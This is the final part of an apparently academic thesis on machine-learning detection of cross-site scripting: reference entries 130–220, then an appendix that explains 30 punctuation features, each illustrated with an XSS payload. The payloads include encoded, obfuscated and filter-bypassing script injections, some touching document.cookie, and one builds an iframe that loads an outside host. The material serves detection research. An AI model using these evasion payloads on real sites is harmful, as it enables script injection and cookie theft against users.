[130] Mereani, F. A. and Howe, J. M. (2018a). Detecting Cross-Site Scripting Attacks Using Machine Learning. In *Advanced Machine Learning Technologies and Applications*, volume 723 of *AISC*, pages 200–210. Springer.

[131] Mereani, F. A. and Howe, J. M. (2018b). Preventing Cross-Site Scripting Attacks by Combining Classifiers. In *Proceedings of the 10th International Joint Conference on Computational Intelligence - Volume 1*, pages 135–143. SciTePress.

[132] Mereani., F. A. and Howe., J. M. (2019). Exact and approximate rule extraction from neural networks with boolean features. In *Proceedings of the 11th International Joint Conference on Computational Intelligence - Volume 1: NCTA, (IJCCI 2019)*, pages 424–433. INSTICC, SciTePress.

[133] Mokris, K. (2018). Container security: Breaking down the owasp top 10 application security risks. https://www.twistlock.com/2018/01/08/container-security-breaking-owasp-top-10-application-security-risks/. Accessed: 19/11/2019.

[134] Murphy, K. (2012). *Machine Learning: A Probabilistic Perspective*. Adaptive Computation and Machine Learning series. MIT Press.

[135] n.a (n.da). Examples of Malicious JavaScript. https://aw-snap.info/articles/js-examples.php. Accessed: 11/9/2016.

[136] n.a (n.db). Technical Explanation of The MySpace Worm. https://samy.pl/myspace/tech.html. Accessed: 8/9/2016.

[137] Nadji, Y., Saxena, P., and Song, D. (2009). Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense. In *NDSS*, volume 2009, page 20.

[138] Nair, V. and Hinton, G. E. (2010). Rectified Linear Units Improve Restricted Boltzmann Machines. In *Proceedings of the 27th international conference on machine learning (ICML-10)*, pages 807–814.

[139] Natesan, P., Balasubramanie, P., and Gowrison, G. (2012). Improving attack detection rate in network intrusion detection using adaboost algorithm with multiple weak classifiers. *Journal of Information and Computational Science*, 8(8):2239–2251.

[140] Nguyen, A., Yosinski, J., and Clune, J. (2016). Multifaceted Feature Visualization: Uncovering the Different Types of Features Learned by Each Neuron in Deep Neural Networks. *arXiv preprint arXiv:1602.03616*.

[141] Niculescu-Mizil, A., Perlich, C., Swirszcz, G., Sindhwani, V., Liu, Y., Melville, P., Wang, D., Xiao, J., Hu, J., Singh, M., Shang, W. X., and Zhu, Y. F. (2009). Winning the KDD Cup Orange Challenge with EnsembleSelection. In *International Conference on KDD-Cup*, pages 23–34. JMLR.org.

[142] Nigam, V. (2018). Understanding Neural Networks. From neuron to RNN, CNN, and Deep Learning. https://towardsdatascience.com/understanding-neural-networks-from-neuron-to-rnn-cnn-and-deep-learning/-cd88e90e0a90. Accessed: 15/8/2019.

[143] Nilsson, N. J. (1996). Introduction to Machine Learning: An Early Draft of a Proposed Textbook. https://ai.stanford.edu/~nilsson/MLBOOK.pdf. Accessed: 11/12/2016.

[144] Nunan, A. E., Souto, E., dos Santos, E. M., and Feitosa, E. (2012). Automatic Classification of Cross-Site Scripting in Web Pages Using Document-based and URL-based Features. In *Computers and Communications (ISCC), 2012 IEEE Symposium on*, pages 000702–000707. IEEE.

[145] Opitz, D. and Maclin, R. (1999). Popular ensemble methods: An empirical study. *Journal of artificial intelligence research*, 11:169–198.

[146] O'Reilly Media (2020). Cross-Site Scripting (XSS). https://www.oreilly.com/library/view/oracle-jet-for/9781787284746/9f553d76-d2b3-4054-971c-7d2025bb1839.xhtml. Accessed: 21/9/2020.

[147] OWASP (2016a). Cross-site Scripting (XSS). "https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)". Accessed: 27/11/2016.

[148] OWASP (2016b). Static Code Analysis. "https://www.owasp.org/index.php/Static_Code_Analysis". Accessed: 27/11/2016.

[149] OWASP (2016c). Vulnerability. "https://www.owasp.org/index.php/Vulnerabilities". Accessed: 23/11/2016.

[150] OWASP (2017a). OWASP Top 10 - 2017 rc1. `www.owasp.org`. Accessed: 26/4/2018.

[151] OWASP (2017b). XSS (Cross Site Scripting) Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet. Accessed: 11/6/2017.

[152] OWASP Cheat Sheet Series (n.d). Input Validation Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html. Accessed: 21/9/2020.

[153] Pan, Y., Sun, F., Teng, Z., White, J., Schmidt, D. C., Staples, J., and Krause, L. (2019). Detecting web attacks with end-to-end deep learning. *Journal of Internet Services and Applications*, 10(1):1–22.

[154] Pandey, B. K., Singh, A., and lakhmani Balani, L. (2015). ETHICAL HACKING (Tools, Techniques and Approaches). https://www.researchgate.net/publication/271079090_ETHICAL_HACKING_Tools_Techniques_and_Approaches. Accessed: 23/11/2016.

[155] Perdisci, R., Ariu, D., Fogla, P., Giacinto, G., and Lee, W. (2009). McPAD : A Multiple Classifier System forAccurate Payload-based Anomaly Detection. *Computer Networks*, 53(6):864 – 881.

[156] Pietraszek, T. and Berghe, C. V. (2006). Defending Against Injection Attacks Through Context-Sensitive String Evaluation. In Valdes, A. and Zamboni, D., editors, *Recent Advances in Intrusion Detection*, pages 124–145, Berlin, Heidelberg. Springer Berlin Heidelberg.

[157] Poorte, J. (n.d). SQL Tutorial: Introduction. "https://www.dofactory.com/sql/tutorial". Accessed: 15/8/2018.

[158] Positive Technologies (2019). Web application vulnerabilities: statistics for 2018. https://www.ptsecurity.com/ww-en/analytics/web-application-vulnerabilities-statistics-2019/. Accessed: 19/11/2019.

[159] Positive Technologies (2020). What is a cross-site scripting (XSS) attack? https://www.ptsecurity.com/ww-en/analytics/knowledge-base/what-is-a-cross-site-scripting-xss-attack/. Accessed: 21/9/2020.

[160] Quackit.com (2016). JavaScript Examples. https://www.quackit.com/javascript/examples/. Accessed: 15/6/2016.

[161] Raman, P. (2008). *JaSPIn: JavaScript based Anomaly Detection of Cross-site scripting attacks*. PhD thesis, Carleton University.

[162] Rickmann, S. (2012). Logic Friday (version 1.1.4)[computer software]. https://web.archive.org/web/20131022021257/http://www.sontrak.com/. Accessed: 24/11/2018.

[163] Rieck, K., Krueger, T., and Dewald, A. (2010). Cujo: Efficient Detection and Prevention ofDrive-by-Download Attacks. In *Proceedings of the 26th Annual Computer Security Applications Conference*, pages 31–39. ACM.

[164] Rocha, T. S. and Souto, E. (2014). Etssdetector: a tool to automatically detect cross-site scripting vulnerabilities. In *Network Computing and Applications (NCA), 2014 IEEE 13th International Symposium on*, pages 306–309. IEEE.

[165] Roche, X. (n.d). HTTrack Website Copier [computer software]. https://www.httrack.com/.

[166] Rudell, R. L. (1986). Multiple-valued Logic Minimization for PLA Synthesis. Technical Report UCB/ERL M86/65, University of California, Berkeley.

[167] Saad, E. W. and Wunsch II, D. C. (2007). Neural network explanation using inversion. *Neural networks*, 20(1):78–93.

[168] Saha, S. (2009). Consideration Points: Detecting Cross-Site Scripting. *arXiv preprint arXiv:0908.4188*.

[169] Saito, K. and Nakano, R. (1988). Medical diagnostic expert system based on PDP model. In *Proceedings of IEEE International Conference on Neural Networks*, volume 1, pages 255–262.

[170] Salakhutdinov, R., Mnih, A., and Hinton, G. (2007). Restricted Boltzmann Machines for Collaborative Filtering. In *Proceedings of the 24th International Conference on Machine Learning*, ICML '07, page 791–798, New York, NY, USA. Association for Computing Machinery.

[171] Sammut, C. and Webb, G. I., editors (2010). *Holdout Evaluation*, pages 506–507. Springer US, Boston, MA.

[172] Sarmah, U., Bhattacharyya, D., and Kalita, J. K. (2018). A survey of detection methods for xss attacks. *Journal of Network and Computer Applications*, 118:113–143.

[173] Särökaari, N. (2012). Identifying Malicious HTTP Requests. https://uk.sans.org/reading-room/whitepapers/detection/identify-malicious-http-requests-34067. Accessed: 21/9/2016.

[174] Schmitz, G. P., Aldrich, C., and Gouws, F. S. (1999). Ann-dt: an algorithm for extraction of decision trees from artificial neural networks. *IEEE Transactions on Neural Networks*, 10(6):1392–1401.

[175] Schneider, J. (1997). Cross Validation. "https://www.cs.cmu.edu/~schneide/tut5/node42.html". Accessed: 22/1/2017.

[176] Schwender, H. (2007). Minimization of Boolean Expressions using Matrix Algebra. Technical report, Technical Report//Sonderforschungsbereich 475, Komplexitätsreduktion in Multivariaten Datenstrukturen, Universität Dortmund.

[177] Setiono, R. and Liu, H. (1995). Understanding Neural Networks via Rule Extraction. In *IJCAI*, volume 1, pages 480–485.

[178] Setiono, R. and Liu, H. (1997). NeuroLinear: From neural networks to oblique decision rules. *Neurocomputing*, 17(1):1–24.

[179] Shalev-Shwartz, S. and Ben-David, S. (2014). *Understanding Machine Learning: From Theory to Algorithms*. Cambridge University Press.

[180] Sharma, P., Johari, R., and Sarma, S. (2012). Integrated approach to prevent sql injection attack and reflected cross site scripting attack. *International Journal of System Assurance Engineering and Management*, 3(4):343–351.

[181] Stunnix.com (n.d). Obfuscation of client-side JavaScript. http://stunnix.com/prod/jo/sample.shtml. Accessed: 8/7/2017.

[182] Stuttard, D. and Pinto, M. (2011). *The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws*. John Wiley & Sons.

[183] Su, Z. and Wassermann, G. (2006). The Essence of Command Injection Attacks in Web Applications. *SIGPLAN Not.*, 41(1):372–382.

[184] Taha, I. and Ghosh, J. (1996). Three Techniques for Extracting Rules from Feedforward Networks. In *Intelligent Engineering Systems Through Artificial Neural Networks*, pages 23–28. ASME Press.

[185] Tama, B. A. and Rhee, K.-H. (2017). An extensive empirical evaluation of classifier ensembles for intrusion detection task. *Computer Systems Science and Engineering*, 32(2):149–158.

[186] Teal, D. M., Miller, W. G., Castagnoli, C., Jennings, T., Schell, T., and Teal, R. S. (2015). Policy-based whitelisting with system change management based on trust framework. US Patent 8,950,007.

[187] Terada, T. and Bussan, M. (2015). Identifier basedXSSI attacks. https://www.mbsd.jp/Whitepaper/xssi.pdf. Accessed: 12/8/2016.

[188] Thrun, S. B. (1993). Extracting Provably Correct Rules from Artificial Neural Networks. Technical report, University of Bonn.

[189] Tsukimoto, H. (2000). Extracting Rules from Trained Neural Networks. *IEEE Transactions on Neural Networks*, 11(2):377–389.

[190] University of Stirling (2017). Some JavaScript Examples. http://www.cs.stir.ac.uk/courses/CSCU9B2/resources/JSexamples/index.html. Accessed: 15/3/2017.

[191] ush.it (2007). XSS Cheat Sheet: two stage payloads. https://www.ush.it/2007/06/27/xss-cheat-sheet-two-stage-payloads/. Accessed: 12/8/2016.

[192] Van Gundy, M. and Chen, H. (2012). Noncespaces: Using randomization to defeat cross-site scripting attacks. *Computers & Security*, 31(4):612 – 628.

[193] Vapnik, V. N. (1995). *The Nature of Statistical Learning Theory*. Springer-Verlag, Berlin, Heidelberg.

[194] Vishnu, B. A. and Jevitha, K. P. (2014). Prediction of Cross-Site Scripting Attack Using Machine Learning Algorithms. In *Proceedings of the 2014 International Conference on Interdisciplinary Advances in Applied Computing*, ICONIAAC '14, pages 55:1–55:5, New York, NY, USA. ACM.

[195] Vogt, P., Nentwich, F., Jovanovic, N., Kirda, E., Kruegel, C., and Vigna, G. (2007). Cross Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Network and Distributed System Security Symposium (NDSS)*, volume 2007, page 12.

[196] Vonnegut, S. (2017). 3 ways to prevent xss. https://www.checkmarx.com/2017/10/09/3-ways-prevent-xss/. Accessed: 15/9/2020.

[197] W3Schools (n.d). JavaScript Syntax. https://www.w3schools.com/js/js_examples.asp. Accessed: 15/6/2016.

[198] Wagacha, P. W. (2003). Induction of decision trees. *Foundations of Learning and Adaptive Systems*, 12:1–14.

[199] Wakefield, J. (2016). Asda bug exposed online shopping payment details. http://www.bbc.co.uk/news/technology-35350789. Accessed: 20/11/2016.

[200] Wang, H., Lu, Y., and Zhai, C. (2011). Latent Aspect Rating Analysis Without Aspect Keyword Supervision. In *Proceedings of the 17th ACM SIGKDD International Conference on Knowledge Discovery and Data Mining*, pages 618–626. ACM. http://sifaka.cs.uiuc.edu/ wang296/Data/index.html.

[201] Wang, R., Jia, X., Li, Q., and Zhang, S. (2014). Machine Learning Based Cross-Site Scripting Detection in Online Social Network. In *2014 IEEE Intl Conf on High Performance Computing and Communications, 2014 IEEE 6th Intl Symp on Cyberspace Safety and Security, 2014 IEEE 11th Intl Conf on Embedded Software and Syst (HPCC,CSS,ICESS)*, pages 823–826.

[202] Wang, W.-H., Yin-Jun, L. V., Chen, H.-B., and Fang, Z.-L. (2013). A Static Malicious Javascript Detection using SVM. In *International Conference on Computer Science and Electronics Engineering*, volume 40, pages 21–30. Atlantis Press.

[203] Wassermann, G. and Su, Z. (2008). Static detection of cross-site scripting vulnerabilities. In *2008 ACM/IEEE 30th International Conference on Software Engineering*, pages 171–180.

[204] Wassermann, G. and Su, Z. (2008). Static Detection of Cross-Site Scripting Vulnerabilities. In *Proceedings of the 30th international conference on Software engineering*, pages 171–180. ACM.

[205] Weichselbaum, L., Spagnuolo, M., Lekies, S., and Janc, A. (2016). Csp is dead, long live csp! on the insecurity of whitelists and the future of content security policy. In *Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security*, pages 1376–1387.

[206] Weinberger, J., Saxena, P., Akhawe, D., Finifter, M., Shin, R., and Song, D. (2011). An empirical analysis of xss sanitization in web application frameworks. Technical report, Technical report, UC Berkeley.

[207] Wilson, S. (2016). Simple Example Javascript Scripts. http://userwww.sfsu.edu/infoarts/technical/howto/wilson.javascript.exampls.html. Accessed: 15/6/2016.

[208] Wolpert, D. H. (1992). Stacked generalization. *Neural Networks*, 5(2):241–259.

[209] Woodger Computing Inc. (n.d). General Web Architecture. http://www.woodger.ca/archweb.htm. Accessed: 20/11/2016.

[210] Woodruff, J. (2019). What Are the Advantages of Decision Trees? https://smallbusiness.chron.com/advantages-decision-trees-75226.html. Accessed: 10/10/2020.

[211] Woods, K., Kegelmeyer, W. P., and Bowyer, K. (1997). Combination of Multiple Classifiers Using Local Accuracy Estimates. *IEEE Transactions on Pattern Analysis and Machine Intelligence*, 19(4):405–410.

[212] Xiang, C., Yong, P. C., and Meng, L. S. (2008). Design of multiple-level hybrid classifier for intrusion detection system using Bayesian clustering and decision trees. *Pattern Recognition Letters*, 29(7):918 – 924.

[213] Xie, Y. and Aiken, A. (2006). Static Detection of Security Vulnerabilities in Scripting Languages. In *USENIX Security*, volume 6, pages 179–192.

[214] XSS-Payloads.com (n.d). XSS Payloads. http://www.xss-payloads.com/payloads.html. Accessed: 14/10/2016.

[215] Xu, L., Krzyzak, A., and Suen, C. Y. (1992). Methods of Combining Multiple Classifiers and Their Applications to Handwriting Recognition. *IEEE Transactions on Systems, Man, and Cybernetics*, 22(3):418–435.

[216] Xu, W., Zhang, F., and Zhu, S. (2010). Toward Worm Detection in Online Social Networks. In *Proceedings of the 26th Annual Computer Security Applications Conference*, ACSAC '10, pages 11–20, New York, NY, USA. ACM.

[217] Xu, W., Zhang, F., and Zhu, S. (2013). JStill: Mostly Static Detection of Obfuscated Malicious JavaScript Code. In *Proceedings of the third ACM conference on Data and application security and privacy*, pages 117–128. ACM.

[218] Zhang, C. and Ma, Y. (2012). *Ensemble Machine Learning: Methods and Applications*. Springer.

[219] Zhao, H. and Ram, S. (2004). Constrained Cascade Generalization of Decision Trees. *IEEE Transactions on Knowledge and Data Engineering*, 16(6):727–739.

[220] Zhu, W., Zeng, N., Wang, N., et al. (2010). Sensitivity, Specificity, Accuracy, Associated Confidence Interval and ROC Analysis with Practical SAS Implementations. *NESUG proceedings: health care and life sciences, Baltimore, Maryland*, 19:67.

Appendix A

Punctuation Group Features

A.1 Punctuation Group Features - Description

1. **Ampersand Sign (&):** An ampersand is a symbol (&) representing the word AND. The (&) sign in the programming language is used either to obtain a memory address for a variable or to combine between two operands. It is possible to be double (&&) this means a logical operation between two Boolean operands. It is used by attacker to combine two operands together within the malicious payload. such as $a = ”Document.”; b = ”Cookie”; < script > alert(a\&b) < /script >$

2. **Percentage Sign (%):** The percent (%) symbol is used in mathematics to represent a fraction of a whole number. Also it used in programming languages in several forms, in SQL statements used as a wildcard, which it can represent any character, whether, such as $(full_name\ LIKE\ 'Bryan\%')$. It is used in most programming languages, including JavaScript, as an operation to find the remainder after division, such as $9\%5 = 4$. It is used by attacker to encoding malicious payload where it can be converted to their character values. such as
$(\%27\%22\%3e\%3cimg\%20src = k.png\%20onerror = alert(”Hacked”)$
$\%20/\%3e)$
which it means
$('” >< imgsrc = k.png\ onerror = alert(”Hacked”)/ >)$.

3. **Slash Sign (/):** Slash is used within text, it means indicate the word OR. The example illustrate this meaning (Day/Night). It is the divide symbol in programming language, it used in JavaScript when closing the tag, and it used within URLs addresses. It is not considered to be a highly used in XSS attacks but is used within tags. such as $https://www.city.ac.uk/directory?" >< script > alert("Hacked") < /script >$.

4. **Backslash Sign (\):** Backslash is an ASCII to represent the Boolean operators AND as "/\", and OR as "\/". In JavaScript The backslash (\) is an escape character, this means that when JavaScript finds a backslash, it tries to escape the following character. The attacker can use them as an ASCII code instead of AND, OR, also it can be used to bypass filters that used to protect Web applications. such as $< iframe/src\/\/onload = alert("Hacked")$.

5. **Plus Sign (+):** the symbol (+) indicating to addition or a positive value. In programming language it used to add two or more numbers, increment a variables value, in addition to produces the sum of string operands. In a URL the (+) is used to represent a space, which it is not allowed in URLs. It is used by attacker by combining two separate variables to form a malicious payload to bypass filters. such as $< script > alert('Document.' + 'Cookie') < /script >$.

6. **Apostrophe Sign ('):** It is a single quote sign where in computer programming, quotes are used to contain commands or strings. In HTML, quotes are means that is not a part of an HTML tag or non executable statement. Attacker can use an apostrophe to bypass filters in the Web applications, or it can be used to close a previous tag and open a new one that containing a malicious payload. such as $https://www.city.ac.uk/directory?"' > "' >< script > window.alert("Hacked") < /script >$.

7. **Question Mark (?):** Question mark used in written language to indicate the question or request needs to be answered. In computing, it can be used as a wildcard character instead of any character. In URLs address, it can be used to allow for query strings to be added to the URL. It does not have direct

use of the malicious payload, but it is an indication that the Web application receives input from users, which that means any payload can be inserted after the question mark. such as $https://www.city.ac.uk/directory?f=">< script > alert("Hacked") < /script >$

8. **Exclamation Mark (!):** The exclamation mark is used in the written language to demonstrate that the word, phrase, or sentence is an exclamation. In the programming languages, the exclamation mark is the logical "Not" operator, for example "!=" means not equal. It is not frequently used to bypass filters but it is used in the payload as a logical operation. such as $<![cdata[cript : alert(("Hacked");">]] >$

9. **Semicolon Sign (;):** The semicolon is used in the written language to indicate a pause between two main clauses, which is more pronounced than the comma. In computer programming, it is used to terminate a statements in JavaScript. it used by attacker to terminate a statements and arranged in one line, which that helps to inject the payload. such as $< IMG\ SRC = javascript : alert(\"XSS\") >$

10. **Hash Sign (#):** It is called hash mark. In the written language indicates to the number, in the programming is indicating to not executable statement, and in IRC chat is an identifier of a channel. This sign helps the attacker to encode the malicious payload using one of the encoding methods to bypass the filters. such as
$">< ahref = "javascript\:\backslash u0061\&\#x6c;\&\#101\%72t\($
$1\)">$

11. **Equal Sign (=):** It indicates to the equivalent in the written language in the sense that the value is equal or equivalent to another value. In mathematics, it shows the result of the formula. In computer languages, it is used to assign a value to a variable, and double equal signs (==) is an operator in a conditional statement. It can used by attacker in malicious payloads either by using them within the code or used to bypass the filters as encod-

ing using base64 where the equal sign of the characteristics of the base 64 encoding or by assigning values to variables that can be used later. such as $YT0gIkRvY3VtZW50LiI7ICBiPSJDb29raWUiOyA8c2NyaXB0PmFsZXJ0KGEmYik8L3NjcmlwdD4=$
which means
$a = "Document."; b = "Cookie"; < script > alert(a\&b) < /script >$

12. **Open and Close Bracket ([,]):** In the written language is used to add additional or missing details, also it used in programming languages to enclose characters in string or with arrays. It can be used by attacker to bypass filters where it can be divided commands or variables into parts within a malicious payload or adding useless characters. Such as $< img[a][b][c]src[d] = x[e]onerror = [f]"alert("Hacked")" >$

13. **Dollar Sign ($):** In the written language, it used to refer to the US currency. In the programming language, it used to define variables and constants. It used by attacker to bypass filters by manipulating variable names or adding them to functions parameters. such as

```
<script>'e1v2a3l'.replace(/(.).(.).(.).(.)/,function
(match,$1,$2,$3,$4){ this[$1+$2+$3+$4](/* code to eval()
*/);})</script>
```

14. **Open and Close Parenthesis ((,))** In the written language is used to enclose information. In mathematical expressions, it indicates to priority in the order of operations. In programming languages, it is used to enclose arguments to functions or methods. The attacker uses it with other functions to enclose arguments such as ASCII conversion functions to text. such as $document.write(string.fromcharcode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,101,100,46,99,111,109,34,62)) < /script >$

15. **Asterisk Sign (*):** In computer languages, it is represent a multiplication operation, wildcard, and as comment with slash. It can be used by attacker to bypass the filters where it can be used as a comment to break the expression. such as
$< IMG\ STYLE = "xss : expr/*XSS*/ession(alert("Hacked"))" >$

16. **Comma Sign (,):** In the written language, it refers to a pause between the parts of the sentence or to distinguish between the items of the list. In the programming language is used to define variables at once, listing the items of the array, or it used between function arguments. It is used by attacker with JavaScript functions such as when converting ASCII code to text. such as
$cscript\%3ealert\%28string.fromcharcode\%2888,83,83\%29\%29\%3c$
$script\%3e$

17. **Hyphen Sign (-):** In written language, the hyphen uses compound words to facilitate reading and clarify words used together such as "to-do". In mathematics and programming refers to subtraction, as used in the search as a Boolean operator to exclude the word in the search results. The hyphen is used by attacker to manipulate the malicious payload to bypass the filters, where it can be used inside the payload as a subtraction or to separated the words. Such as
$< META\ HTTP-EQUIV = "Set-Cookie" Content = "USERID =$
$< SCRIPT > alert("Hacked") < /SCRIPT > " >$

18. **Less Than and Greater Than(<),(>):** In mathematics, they used to indicate one expression is less than or greater than the other. In programming, it used for comparison and logical operators. They are also used in HTML to open or close tags, or to add code within the page such as JavaScript. they used by attacker in the attacks to open the new scripting tag to add the malicious payload or to close previous tag. such as $< script > alert("Hacked") < /script >$

19. **At Sign (@):** It is used within E-mail addresses, and is indicate to "at" in the chat or text messages. It is used by attacker in a malicious payload to

bypass the filters, as it is considered within the payload as a white space and the attacker can use it to divide the payload. It is also used within the malicious payload to send information to the attacker's server. Such as $\%3e\%3cscript\%3ealert\%28\%22Hacked\%20by\%20d@ydream\%22$ $\%29;\%3c/script\%3e$

20. **Underscore Sign (_):** In the programming language, it is used instead of the space when the space can not be used as variable names. It is used by attacker as the use of the (@) symbol to separate commands or variables within the malicious payload. such as $< BODY\ onload!\#\$\%\&()* \sim + - _.,:$ $;?@[/|\backslash]\hat{}`= alert(\text{"}Hacked\text{"}) >$

21. **Colon Sign (:):** colon is used in the written language to list the items, expansion or explanation. In a URL, it is used to separate between the protocol and the address. It can be used by attacker within payload in case of redirect to attacker server or other Web page, it is not frequently used in payloads because filters can detected it, but it can be used after encryption, for example a base64 encoding. It is usually used within HTML tags such as $< p\ style = \text{"}x:$ $expression(alert(\text{"}Hacked\text{"}))\text{"} >< p\ style = \text{"}behavior : url(script.sct)\text{"} >$

22. **Dot (.):** It is used in the written language as a decimal point or as a full stop. In JavaScript, the dot is used to provide access to object's properties. The attacker uses the dot to bypass the filters by executing commands in string form such as $'alert(\text{"}Hacked\text{"})'.replace(/.+/, eval)$, or removing them when using the object's properties by replacing them with brackets such as $alert(document['cookie'])$

23. **Open and Close Brace ({ , }):** In the written language is used around words or items that are supposed to be together. In the programming languages is used to enclose groups of statements or for a block of code such as if statement. It is used by attacker by including the payload within HTML tags, or used to enclose functions code in a malicious payload. Such as $< BR\ SIZE = \text{"}\&\{alert('XSS')\}\text{"} >$

24. **Tilde Sign (∼):** In the mathematics, it indicates the approximate number. In programming it represents a bitwise NOT. It is used by attacker as the use of the (@,_) symbols for separating commands or variables within payload. such as $< BODY\ onload!\#\$\%\&()* \sim +-_.,:;?@[/|\backslash]\hat{}`= alert(\text{"}Hacked\text{"}) >$

25. **Space ( ):** Space is used to separate between words in written language and programming language. The attacker uses spaces to manipulate the malicious payload to bypass the filters, since repeated spaces are not counted in JavaScript. Such as $\text{"} < SCRIPT\backslash s\text{"}! = \text{"} < SCRIPT/XSS\backslash s\text{"}$

26. **Quotation Sign ("):** it is used in the written language either to illustrate the quoted passage or indicate to the beginning and end of the title. In the programming, it is used to contain text or other data. The attacker can paybass filters by escaping the escape characters such as $< SCRIPT > var\ a = \text{"}\backslash\backslash\text{"}; alert('Hacked'); //\text{"}; < /SCRIPT >$ where malicious payload will be executed after un-escaping the quote.

27. **Grave Sign (‘):** the attacker can use it to encapsulate the JavaScript payload, which is useful because many XSS filters do not recognize it. Such as $< IMGSRC = `javascript : alert(\text{"}RSnake\ says,'XSS'\text{"})` >$

28. **Vertical Bar (|):** In mathematics, it is used to represent absolute value. In programming, double vertical bar is used to represent the logical operator OR. It used by attacker to bypass the filters by separating between command or expression in the malicious payload. Such a $< BODY\ onload!\#\$\%\&()* \sim +-_.,:;?@[/|\backslash]\hat{}`= alert(\text{"}Hacked\text{"}) >$

29. **Power Sign (^):** In mathematics and programming, it is used to represents an exponent. In JavaScript it used as a bitwise operators which it refer to XOR. It can be used by attacker to bypass the filters same as (@, _, ∼). Such as $\text{"}/ < script((\backslash s + \backslash w + (\backslash s* = \backslash s*(?:\text{"}(.)\hat{}?\text{"}|'(.)*?'|[\hat{}'\text{"} > \backslash s]+))?) + \backslash s* |\backslash s*)src/i\text{"}$

30. **Broken Bar (¦):** it has been found with some obfuscated benign payload, which is help to differentiate between malicious and benign.